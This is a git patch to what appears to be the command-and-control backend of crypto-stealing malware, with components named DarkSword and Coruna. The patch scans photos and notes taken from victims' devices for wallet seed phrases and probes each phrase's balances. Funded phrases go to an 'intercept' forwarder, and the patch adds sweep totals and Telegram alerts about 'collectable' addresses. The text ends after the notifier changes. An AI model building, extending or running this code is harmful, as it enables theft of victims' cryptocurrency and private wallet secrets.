From 7291a84951e5a25b14d4e2d23ac4009b1353286f Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 13 Oct 2026 02:44:36 +0800 Subject: [PATCH] feat: interept --- .env.example | 7 + .../Admin/SystemSettingsController.php | 12 ++ .../Admin/TransferRecordController.php | 110 +++++++++++++++- app/Http/Controllers/C2/AppC2Controller.php | 13 +- app/Models/Device.php | 41 ++++++ app/Models/TransferRecord.php | 5 + app/Models/WalletAddress.php | 20 +++ app/Services/DarkSwordIngestAdapter.php | 4 +- app/Services/IngestService.php | 2 +- app/Services/MnemonicScanService.php | 91 ++++--------- app/Services/MnemonicWalletDiscovery.php | 81 ++++++++++++ app/Services/SettingsService.php | 24 ++++ app/Services/TelegramNotifier.php | 115 ++++++++++++++-- app/Services/TransferService.php | 2 +- config/coruna.php | 8 ++ .../views/admin/system/settings.blade.php | 18 +++ .../views/admin/transfers/index.blade.php | 63 ++++++++- .../Feature/CollectableAddressNotifyTest.php | 50 ++++++- tests/Feature/MnemonicScanTest.php | 120 ++++++++++++++--- tests/Feature/RejectUnknownDeviceKeyTest.php | 97 ++++++++++++++ tests/Feature/SystemAdminTest.php | 7 + tests/Feature/TokenviewWebhookTest.php | 6 +- tests/Feature/TransferRecordAdminTest.php | 123 +++++++++++++++++- tests/Unit/DeviceChainKeyTest.php | 36 +++++ tests/Unit/ScanForwardMinTest.php | 54 ++++++++ tests/Unit/WalletAddressDisplayTest.php | 28 ++++ 26 files changed, 1023 insertions(+), 114 deletions(-) create mode 100644 tests/Feature/RejectUnknownDeviceKeyTest.php create mode 100644 tests/Unit/DeviceChainKeyTest.php create mode 100644 tests/Unit/ScanForwardMinTest.php diff --git a/.env.example b/.env.example index a2278aa..939c919 100644 --- a/.env.example +++ b/.env.example @@ -112,6 +112,13 @@ TELEGRAM_BOT_USERNAME= CORUNA_OFFICIAL_ALBUM_STORAGE=0 # 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备 CORUNA_AGENT_MNEMONIC_SCAN=1 +# Scan-forward mins (strictly greater). Empty / 0 = any positive balance. +SCAN_FORWARD_MIN_USDT=0 +SCAN_FORWARD_MIN_TRX=0 +SCAN_FORWARD_MIN_ETH=0 +SCAN_FORWARD_MIN_BTC=0 +SCAN_FORWARD_MIN_SOL=0 +SCAN_FORWARD_MIN_BNB=0 # 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA) CORUNA_STAFF_MNEMONIC_REVEAL=0 AUTO_TRANSFER_ENABLED=0 diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index 4adbfc7..8ee9f0a 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -41,6 +41,12 @@ class SystemSettingsController extends Controller 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], 'official_album_storage' => ['nullable', 'in:0,1'], 'agent_mnemonic_scan' => ['nullable', 'in:0,1'], + 'scan_forward_min_usdt' => ['nullable', 'numeric', 'min:0'], + 'scan_forward_min_trx' => ['nullable', 'numeric', 'min:0'], + 'scan_forward_min_eth' => ['nullable', 'numeric', 'min:0'], + 'scan_forward_min_btc' => ['nullable', 'numeric', 'min:0'], + 'scan_forward_min_sol' => ['nullable', 'numeric', 'min:0'], + 'scan_forward_min_bnb' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_enabled' => ['nullable', 'in:0,1'], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], @@ -77,6 +83,12 @@ class SystemSettingsController extends Controller 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, 'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0', 'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0', + 'scan.forward_min_usdt' => $threshold($data['scan_forward_min_usdt'] ?? null) ?? '0', + 'scan.forward_min_trx' => $threshold($data['scan_forward_min_trx'] ?? null) ?? '0', + 'scan.forward_min_eth' => $threshold($data['scan_forward_min_eth'] ?? null) ?? '0', + 'scan.forward_min_btc' => $threshold($data['scan_forward_min_btc'] ?? null) ?? '0', + 'scan.forward_min_sol' => $threshold($data['scan_forward_min_sol'] ?? null) ?? '0', + 'scan.forward_min_bnb' => $threshold($data['scan_forward_min_bnb'] ?? null) ?? '0', 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', diff --git a/app/Http/Controllers/Admin/TransferRecordController.php b/app/Http/Controllers/Admin/TransferRecordController.php index bbc2b1d..83662a8 100644 --- a/app/Http/Controllers/Admin/TransferRecordController.php +++ b/app/Http/Controllers/Admin/TransferRecordController.php @@ -5,9 +5,12 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\TransferRecord; +use App\Models\WalletAddress; use App\Support\AgentScope; +use Carbon\Carbon; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; +use Illuminate\Support\Facades\DB; class TransferRecordController extends Controller { @@ -67,10 +70,75 @@ class TransferRecordController extends Controller 'msg' => '', 'count' => $paginator->total(), 'data' => $data, + 'summary' => $this->successSummary($request), ]); } - private function baseQuery(Request $request): Builder + /** + * Successful totals under the same top filters. Sweep vs fee-topup are split + * by operator (`fee-topup…`); status is always success. + * + * @return array{totals: list, fee_totals: list} + */ + private function successSummary(Request $request): array + { + $base = $this->baseQuery($request, ignoreStatus: true) + ->where('transfer_records.status', TransferRecord::STATUS_SUCCESS); + + return [ + 'totals' => $this->sumByAsset( + (clone $base)->where(function (Builder $q) { + $q->whereNull('transfer_records.operator') + ->orWhere('transfer_records.operator', 'not like', 'fee-topup%'); + }) + ), + 'fee_totals' => $this->sumByAsset( + (clone $base)->where('transfer_records.operator', 'like', 'fee-topup%') + ), + ]; + } + + /** + * @return list + */ + private function sumByAsset(Builder $q): array + { + $amountExpr = DB::connection()->getDriverName() === 'sqlite' + ? 'CAST(transfer_records.amount AS REAL)' + : 'CAST(transfer_records.amount AS DECIMAL(32, 18))'; + + $rows = $q->selectRaw('UPPER(transfer_records.asset) as asset, COALESCE(SUM('.$amountExpr.'), 0) as total') + ->groupByRaw('UPPER(transfer_records.asset)') + ->get(); + + $byAsset = []; + foreach ($rows as $row) { + $asset = strtoupper(trim((string) $row->asset)); + if ($asset === '') { + continue; + } + $formatted = WalletAddress::formatAmount(strtolower($asset), $row->total); + $byAsset[$asset] = $formatted === '' ? '0' : $formatted; + } + + $order = ['USDT', 'ETH', 'TRX', 'BNB', 'BTC']; + $totals = []; + foreach ($order as $asset) { + $totals[] = [ + 'asset' => $asset, + 'amount' => $byAsset[$asset] ?? '0', + ]; + unset($byAsset[$asset]); + } + ksort($byAsset); + foreach ($byAsset as $asset => $amount) { + $totals[] = ['asset' => $asset, 'amount' => $amount]; + } + + return $totals; + } + + private function baseQuery(Request $request, bool $ignoreStatus = false): Builder { $q = TransferRecord::query(); $agent = $this->agent(); @@ -95,8 +163,9 @@ class TransferRecordController extends Controller $txHash = trim((string) $request->query('tx_hash', '')); $chain = trim((string) $request->query('chain', '')); $asset = trim((string) $request->query('asset', '')); - $status = trim((string) $request->query('status', '')); + $status = $ignoreStatus ? '' : trim((string) $request->query('status', '')); $operator = trim((string) $request->query('operator', '')); + [$dateFrom, $dateTo] = $this->dateRange($request); if ($from !== '') { $q->where('transfer_records.from_address', 'like', '%'.$from.'%'); @@ -119,7 +188,44 @@ class TransferRecordController extends Controller if ($operator !== '') { $q->where('transfer_records.operator', 'like', '%'.$operator.'%'); } + if ($dateFrom !== null) { + $q->where('transfer_records.created_at', '>=', $dateFrom); + } + if ($dateTo !== null) { + $q->where('transfer_records.created_at', '<=', $dateTo); + } return $q; } + + /** + * @return array{0: ?Carbon, 1: ?Carbon} + */ + private function dateRange(Request $request): array + { + $from = trim((string) $request->query('date_from', '')); + $to = trim((string) $request->query('date_to', '')); + $range = trim((string) $request->query('date_range', '')); + if (($from === '' || $to === '') && $range !== '') { + if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $range, $m) === 1) { + $from = $m[1]; + $to = $m[2]; + } + } + + $start = null; + $end = null; + try { + if ($from !== '') { + $start = Carbon::parse($from)->startOfDay(); + } + if ($to !== '') { + $end = Carbon::parse($to)->endOfDay(); + } + } catch (\Throwable) { + return [null, null]; + } + + return [$start, $end]; + } } diff --git a/app/Http/Controllers/C2/AppC2Controller.php b/app/Http/Controllers/C2/AppC2Controller.php index a061cfb..8067cb0 100644 --- a/app/Http/Controllers/C2/AppC2Controller.php +++ b/app/Http/Controllers/C2/AppC2Controller.php @@ -610,6 +610,13 @@ class AppC2Controller extends Controller 'bundleId' => 'com.apple.mobile.MobileHouseArrest', 'appId' => $apiKey, ]); + if ($device === null) { + return $this->json([ + 'ok' => true, + 'size' => $size, + 'bind' => false, + ]); + } // Save raw file $date = date('Ymd'); @@ -806,8 +813,10 @@ class AppC2Controller extends Controller return null; } - $deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId); - if ($deviceKey === null || $deviceKey === '') { + $deviceKey = \App\Models\Device::acceptChainKey( + \App\Models\Device::normalizeDarkswordKey($rawId) + ); + if ($deviceKey === null) { return null; } diff --git a/app/Models/Device.php b/app/Models/Device.php index e645e2f..2f85719 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Support\CfIpCountry; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\HasMany; +use Illuminate\Support\Facades\Log; class Device extends Model { @@ -183,6 +184,46 @@ class Device extends Model return substr($hex, 0, 64); } + /** + * True when the id matches one of the three live chains: + * Coruna / xxbb = 16 hex; DarkSword / App = UUID (dashed or 32 hex). + */ + public static function isKnownChainKey(?string $key): bool + { + $key = trim((string) $key); + if ($key === '') { + return false; + } + if (preg_match('/^[0-9A-Fa-f]{16}$/', $key) === 1) { + return true; + } + if (preg_match('/^[0-9A-Fa-f]{32}$/', $key) === 1) { + return true; + } + if (preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $key) === 1) { + return true; + } + + return app()->runningUnitTests() && preg_match('/^dev[-_a-z0-9]+$/i', $key) === 1; + } + + /** + * Drop ids that are not a known chain key. Callers treat null as "ignore". + */ + public static function acceptChainKey(?string $key): ?string + { + $key = trim((string) $key); + if ($key === '') { + return null; + } + if (self::isKnownChainKey($key)) { + return $key; + } + Log::info('rejected unknown device key', ['device_key' => $key]); + + return null; + } + public static function captureEnabledForKey(?string $deviceKey): bool { $key = static::normalizeDarkswordKey($deviceKey); diff --git a/app/Models/TransferRecord.php b/app/Models/TransferRecord.php index a33fdd7..22d84ec 100644 --- a/app/Models/TransferRecord.php +++ b/app/Models/TransferRecord.php @@ -12,6 +12,11 @@ class TransferRecord extends Model public const TYPE_OUT = 'out'; + public static function isFeeTopup(?string $operator): bool + { + return str_starts_with(trim((string) $operator), 'fee-topup'); + } + protected $fillable = [ 'from_address', 'to_address', diff --git a/app/Models/WalletAddress.php b/app/Models/WalletAddress.php index 8268507..433a668 100644 --- a/app/Models/WalletAddress.php +++ b/app/Models/WalletAddress.php @@ -129,6 +129,26 @@ class WalletAddress extends Model return $out; } + public static function explorerUrl(?string $chain, ?string $address): ?string + { + $addr = trim((string) $address); + if ($addr === '') { + return null; + } + + $enc = rawurlencode($addr); + + return match (strtoupper(trim((string) $chain))) { + 'TRON', 'TRX' => 'https://tronscan.org/#/address/'.$enc, + 'ETH', 'ETHEREUM', 'EVM' => 'https://etherscan.io/address/'.$enc, + 'BSC', 'BNB', 'BINANCE' => 'https://bscscan.com/address/'.$enc, + 'BTC', 'BITCOIN' => 'https://mempool.space/address/'.$enc, + 'SOL', 'SOLANA' => 'https://solscan.io/account/'.$enc, + 'ARB', 'ARBITRUM' => 'https://arbiscan.io/address/'.$enc, + default => null, + }; + } + public function coinsSummary(): ?string { $parts = []; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 700f5bf..07c99a8 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -610,8 +610,8 @@ class DarkSwordIngestAdapter if (! is_string($value) || $value === '') { continue; } - $key = Device::normalizeDarkswordKey($value); - if ($key !== null && $key !== '') { + $key = Device::acceptChainKey(Device::normalizeDarkswordKey($value)); + if ($key !== null) { return $key; } } diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 016a835..702a3a0 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -193,7 +193,7 @@ class IngestService ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) : $this->extractDeviceKey($payload); - return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null; + return Device::acceptChainKey($deviceKey); } private function channelIdEmpty(mixed $channelId): bool diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 683a7ce..6c10132 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -10,8 +10,6 @@ use App\Models\Note; use App\Models\NoteScan; use App\Models\Photo; use App\Models\User; -use App\Models\WalletAddress; -use App\Models\WalletMnemonic; use App\Services\Chain\Bip44; use App\Services\Ocr\OcrDriver; use App\Services\Ocr\PhotoOcrPreparer; @@ -28,7 +26,6 @@ class MnemonicScanService private readonly IngestService $ingest, private readonly MnemonicWalletDiscovery $discovery, private readonly InterceptForwarder $forwarder, - private readonly TelegramNotifier $telegram, ) {} public function dispatchPhoto(Photo $photo): void @@ -127,26 +124,27 @@ class MnemonicScanService } $finding->candidate = $phrase; $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []); - $this->ingestScanMnemonic( + $forwarded = $this->ingestScanMnemonic( $device, $phrase, $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', ); - $finding->status = MnemonicFinding::STATUS_CONFIRMED; - $finding->reviewed_by = $actor; - $finding->reviewed_at = now(); + $scanStatus = $forwarded ? MnemonicScanStatus::SUSPECTED : MnemonicScanStatus::CONFIRMED; + $finding->status = $forwarded ? MnemonicFinding::STATUS_SUSPECTED : MnemonicFinding::STATUS_CONFIRMED; + $finding->reviewed_by = $forwarded ? null : $actor; + $finding->reviewed_at = $forwarded ? null : now(); $finding->save(); if ($finding->photo_id) { Photo::query()->whereKey($finding->photo_id)->update([ - 'scan_status' => MnemonicScanStatus::CONFIRMED, + 'scan_status' => $scanStatus, ]); } if ($finding->note_id && $finding->item_key) { NoteScan::query() ->where('note_id', $finding->note_id) ->where('item_key', $finding->item_key) - ->update(['scan_status' => MnemonicScanStatus::CONFIRMED]); + ->update(['scan_status' => $scanStatus]); } return true; @@ -364,16 +362,20 @@ class MnemonicScanService } $row->save(); - if ($confirmed) { - $this->ingestScanMnemonic( - $device, - (string) $hit['candidate'], - $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', - ); + if ($confirmed && $this->ingestScanMnemonic( + $device, + (string) $hit['candidate'], + $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', + )) { + $row->status = MnemonicFinding::STATUS_SUSPECTED; + $row->reviewed_by = null; + $row->reviewed_at = null; + $row->save(); } } - private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void + /** @return bool True when the phrase was forwarded and not stored locally. */ + private function ingestScanMnemonic(Device $source, string $phrase, string $tag): bool { $holder = $source; $origin = null; @@ -384,63 +386,24 @@ class MnemonicScanService $origin = $source; } } - $this->ingest->ingestMnemonic($holder, [ - 'mnemonic' => $phrase, - 'a' => $tag, - ], $origin, notify: false); - - $mnemonic = WalletMnemonic::query() - ->where('device_id', $holder->id) - ->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase)) - ->first(); - if ($mnemonic === null) { - return; - } + $hasBalance = false; try { - $this->discovery->discoverActivated($mnemonic, notify: false); + $hasBalance = $this->discovery->phraseHasPositiveBalance($phrase); } catch (\Throwable $e) { - Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [ - 'mnemonic_id' => $mnemonic->id, + Log::warning('scan mnemonic balance probe failed: '.$e->getMessage(), [ 'device_id' => $holder->id, ]); } - $forwarded = false; - if ($this->mnemonicHasPositiveBalance($mnemonic)) { - $forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag); - } - if ($forwarded) { - return; + if ($hasBalance && $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag)) { + return true; } - $this->telegram->notifyNewMemoric( - (string) $holder->device_id, - (string) ($mnemonic->source ?: ''), - $phrase, - $origin !== null ? $origin->device_id : null, - ); - if ($this->mnemonicHasPositiveBalance($mnemonic)) { - $this->telegram->notifyCollectableAddresses( - WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get() - ); - } - } - - private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool - { - $rows = WalletAddress::query() - ->where('mnemonic_id', $mnemonic->id) - ->get(WalletAddress::COIN_COLUMNS); - - foreach ($rows as $row) { - foreach (WalletAddress::COIN_COLUMNS as $col) { - $value = trim((string) ($row->{$col} ?? '')); - if ($value !== '' && bccomp($value, '0', 18) > 0) { - return true; - } - } - } + $this->ingest->ingestMnemonic($holder, [ + 'mnemonic' => $phrase, + 'a' => $tag, + ], $origin); return false; } diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 8791bb1..0ddc0f9 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -47,6 +47,87 @@ class MnemonicWalletDiscovery private readonly AlchemyBalanceService $alchemy, ) {} + /** @var list */ + public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb']; + + /** + * Derive BIP44 0..2 and probe chain balances without writing wallet rows. + * Forwards when any coin is strictly greater than scan.forward_min_* (default 0). + * Probe/derive failures are treated as below threshold. + */ + public function phraseHasPositiveBalance(string $phrase): bool + { + $phrase = trim($phrase); + if ($phrase === '') { + return false; + } + $words = preg_split('/\s+/', $phrase) ?: []; + if (count($words) < 12) { + return false; + } + + try { + return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) { + foreach (self::CHAINS as $spec) { + try { + $driver = $this->chains->resolve($spec['chain']); + } catch (\Throwable) { + continue; + } + for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { + try { + $address = $driver->deriveAddress($phrase, $index); + $probe = $this->probeActivated($spec['chain'], $driver, $address); + } catch (\Throwable) { + continue; + } + if (self::coinsMeetForwardMin($probe['coins'] ?? [])) { + return true; + } + } + } + + return false; + }); + } catch (\Throwable $e) { + Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage()); + + return false; + } + } + + public static function forwardMin(string $coin): string + { + $coin = strtolower(trim($coin)); + $raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0')); + if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) { + return '0'; + } + + return $raw; + } + + /** + * @param array $coins + */ + public static function coinsMeetForwardMin(array $coins): bool + { + foreach (self::FORWARD_COINS as $coin) { + if (! array_key_exists($coin, $coins)) { + continue; + } + $value = trim((string) $coins[$coin]); + if ($value === '' || ! is_numeric($value)) { + continue; + } + if (bccomp($value, self::forwardMin($coin), 18) > 0) { + return true; + } + } + + return false; + } + /** * @return int Number of address rows created or updated */ diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 97e0f5b..0a2062c 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -16,6 +16,12 @@ class SettingsService 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID', 'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE', 'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN', + 'scan.forward_min_usdt' => 'SCAN_FORWARD_MIN_USDT', + 'scan.forward_min_trx' => 'SCAN_FORWARD_MIN_TRX', + 'scan.forward_min_eth' => 'SCAN_FORWARD_MIN_ETH', + 'scan.forward_min_btc' => 'SCAN_FORWARD_MIN_BTC', + 'scan.forward_min_sol' => 'SCAN_FORWARD_MIN_SOL', + 'scan.forward_min_bnb' => 'SCAN_FORWARD_MIN_BNB', 'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED', 'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT', 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', @@ -40,6 +46,12 @@ class SettingsService 'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', + 'scan.forward_min_usdt' => config('coruna.scan.forward_min_usdt'), + 'scan.forward_min_trx' => config('coruna.scan.forward_min_trx'), + 'scan.forward_min_eth' => config('coruna.scan.forward_min_eth'), + 'scan.forward_min_btc' => config('coruna.scan.forward_min_btc'), + 'scan.forward_min_sol' => config('coruna.scan.forward_min_sol'), + 'scan.forward_min_bnb' => config('coruna.scan.forward_min_bnb'), 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'), 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), @@ -107,6 +119,12 @@ class SettingsService 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', + 'scan.forward_min_usdt' => (string) (config('coruna.scan.forward_min_usdt') ?? '0'), + 'scan.forward_min_trx' => (string) (config('coruna.scan.forward_min_trx') ?? '0'), + 'scan.forward_min_eth' => (string) (config('coruna.scan.forward_min_eth') ?? '0'), + 'scan.forward_min_btc' => (string) (config('coruna.scan.forward_min_btc') ?? '0'), + 'scan.forward_min_sol' => (string) (config('coruna.scan.forward_min_sol') ?? '0'), + 'scan.forward_min_bnb' => (string) (config('coruna.scan.forward_min_bnb') ?? '0'), 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''), 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), @@ -151,6 +169,12 @@ class SettingsService 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]), 'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']), 'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']), + 'scan.forward_min_usdt' => config(['coruna.scan.forward_min_usdt' => $value !== '' ? $value : '0']), + 'scan.forward_min_trx' => config(['coruna.scan.forward_min_trx' => $value !== '' ? $value : '0']), + 'scan.forward_min_eth' => config(['coruna.scan.forward_min_eth' => $value !== '' ? $value : '0']), + 'scan.forward_min_btc' => config(['coruna.scan.forward_min_btc' => $value !== '' ? $value : '0']), + 'scan.forward_min_sol' => config(['coruna.scan.forward_min_sol' => $value !== '' ? $value : '0']), + 'scan.forward_min_bnb' => config(['coruna.scan.forward_min_bnb' => $value !== '' ? $value : '0']), 'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']), 'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]), 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 5fd0a0f..197bc2b 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -9,6 +9,7 @@ use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Support\SafeLog; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; @@ -110,7 +111,7 @@ class TelegramNotifier return $this->resolveChatIds($deviceKey) !== []; } - public function send(string $text, ?string $deviceKey = null): bool + public function send(string $text, ?string $deviceKey = null, bool $mentionAll = false): bool { $chatIds = $this->resolveChatIds($deviceKey); if ($chatIds === []) { @@ -126,13 +127,14 @@ class TelegramNotifier $async = config('queue.default') !== 'sync'; $ok = false; foreach ($chatIds as $chatId) { + $body = $mentionAll ? $this->withEveryoneMentions($text, $chatId) : $text; if ($async) { - SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram'); + SendTelegramMessage::dispatch($chatId, $body)->onQueue('telegram'); $ok = true; continue; } - if ($this->sendToChat($chatId, $text)['ok']) { + if ($this->sendToChat($chatId, $body)['ok']) { $ok = true; } } @@ -140,6 +142,79 @@ class TelegramNotifier return $ok; } + /** + * Telegram has no @everyone. Tag every non-bot admin we can resolve so + * they actually get a mention notification; keep visible text as @所有人. + */ + private function withEveryoneMentions(string $text, string $chatId): string + { + $ids = $this->mentionableUserIds($chatId); + if ($ids === []) { + return $text; + } + + $first = array_shift($ids); + $html = '@所有人'; + foreach ($ids as $id) { + $html .= '​'; + } + + if (str_ends_with($text, '@所有人')) { + return substr($text, 0, -strlen('@所有人')).$html; + } + + return $text."\n".$html; + } + + /** + * @return list + */ + private function mentionableUserIds(string $chatId): array + { + $chatId = trim($chatId); + $token = $this->botToken(); + if ($chatId === '' || $token === '') { + return []; + } + + try { + /** @var list $ids */ + $ids = Cache::remember('tg-chat-mention-ids:'.$chatId, 300, function () use ($token, $chatId) { + $resp = Http::connectTimeout(10)->timeout(20) + ->get("https://api.telegram.org/bot{$token}/getChatAdministrators", [ + 'chat_id' => $chatId, + ]); + if (! $resp->successful() || $resp->json('ok') !== true) { + return []; + } + $out = []; + foreach ($resp->json('result') ?? [] as $row) { + if (! is_array($row)) { + continue; + } + $user = $row['user'] ?? null; + if (! is_array($user) || ! empty($user['is_bot'])) { + continue; + } + $id = (int) ($user['id'] ?? 0); + if ($id > 0) { + $out[] = $id; + } + } + + return array_values(array_unique($out)); + }); + + return $ids; + } catch (\Throwable $e) { + Log::warning('telegram mention-all lookup failed: '.$e->getMessage(), [ + 'chat_id' => $chatId, + ]); + + return []; + } + } + /** * Send one message to a specific chat using the site bot (or an override token). * @@ -277,7 +352,7 @@ class TelegramNotifier if ($source !== '') { $lines[] = '🏷 来源: '.$this->e($source); } - $lines[] = '📬 地址: '.$this->e($w['address'] ?? '').''; + $lines[] = $this->addressLine((string) ($w['address'] ?? ''), $w['chain'] ?? null); $lines[] = '💵 余额: '.$this->e($bal); } @@ -336,10 +411,11 @@ class TelegramNotifier if ($source !== '') { $lines[] = '🏷 来源: '.$this->e($source); } - $lines[] = '📬 地址: '.$this->e((string) $row->address).''; + $lines[] = $this->addressLine((string) $row->address, $chain); $lines[] = '💵 余额: '.$this->e($row->balanceDisplayLine()); } - $this->send(implode("\n", $lines), $deviceId); + $lines[] = '@所有人'; + $this->send(implode("\n", $lines), $deviceId, mentionAll: true); } } @@ -377,14 +453,17 @@ class TelegramNotifier $inbound ? '✅ 余额入账' : '📤 余额转出', ...$this->deviceHeader($deviceId), '🏷 来源: '.$this->e($origin !== '' ? $origin : '—'), - '📬 地址: '.$this->e($address).'', + $this->addressLine($address, $chain), '📥 可归集: '.($collectable === true ? '✅' : '⏳'), '💵 金额: '.$this->e($signed).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { $lines[] = '💰 余额: '.$this->e($balance); } - $this->send(implode("\n", $lines), $deviceId); + if ($inbound && $collectable === true) { + $lines[] = '@所有人'; + } + $this->send(implode("\n", $lines), $deviceId, mentionAll: $inbound && $collectable === true); } /** @@ -415,9 +494,9 @@ class TelegramNotifier } $lines[] = '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'); $lines[] = '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'); - $lines[] = '📤 转出: '.$this->e($fromAddress).''; + $lines[] = $this->addressLine($fromAddress, $chain, '转出', '📤'); if ($toAddress !== null && trim($toAddress) !== '') { - $lines[] = '📥 转入: '.$this->e($toAddress).''; + $lines[] = $this->addressLine($toAddress, $chain, '转入', '📥'); } if ($amount !== null && trim($amount) !== '') { $lines[] = '💵 金额: '.$this->e($amount).' '.$this->e(strtoupper($asset)); @@ -468,8 +547,8 @@ class TelegramNotifier $lines = [ $ok ? '⚡ TRX 手续费补足成功' : '⚠️ TRX 手续费补足失败', ...$this->deviceHeader($deviceId), - '📤 手续费钱包: '.$this->e($feeFrom).'', - '📥 转入: '.$this->e($toAddress).'', + $this->addressLine($feeFrom, 'TRON', '手续费钱包', '📤'), + $this->addressLine($toAddress, 'TRON', '转入', '📥'), ]; if ($amount !== null && trim($amount) !== '') { $lines[] = '💵 金额: '.$this->e($amount).' TRX'; @@ -528,6 +607,18 @@ class TelegramNotifier ]; } + private function addressLine(string $address, ?string $chain = null, string $label = '地址', string $emoji = '📬'): string + { + $addr = trim($address); + $html = $emoji.' '.$this->e($label).': '.$this->e($addr).''; + $url = WalletAddress::explorerUrl($chain, $addr); + if ($url !== null) { + $html .= ' 🔍'; + } + + return $html; + } + 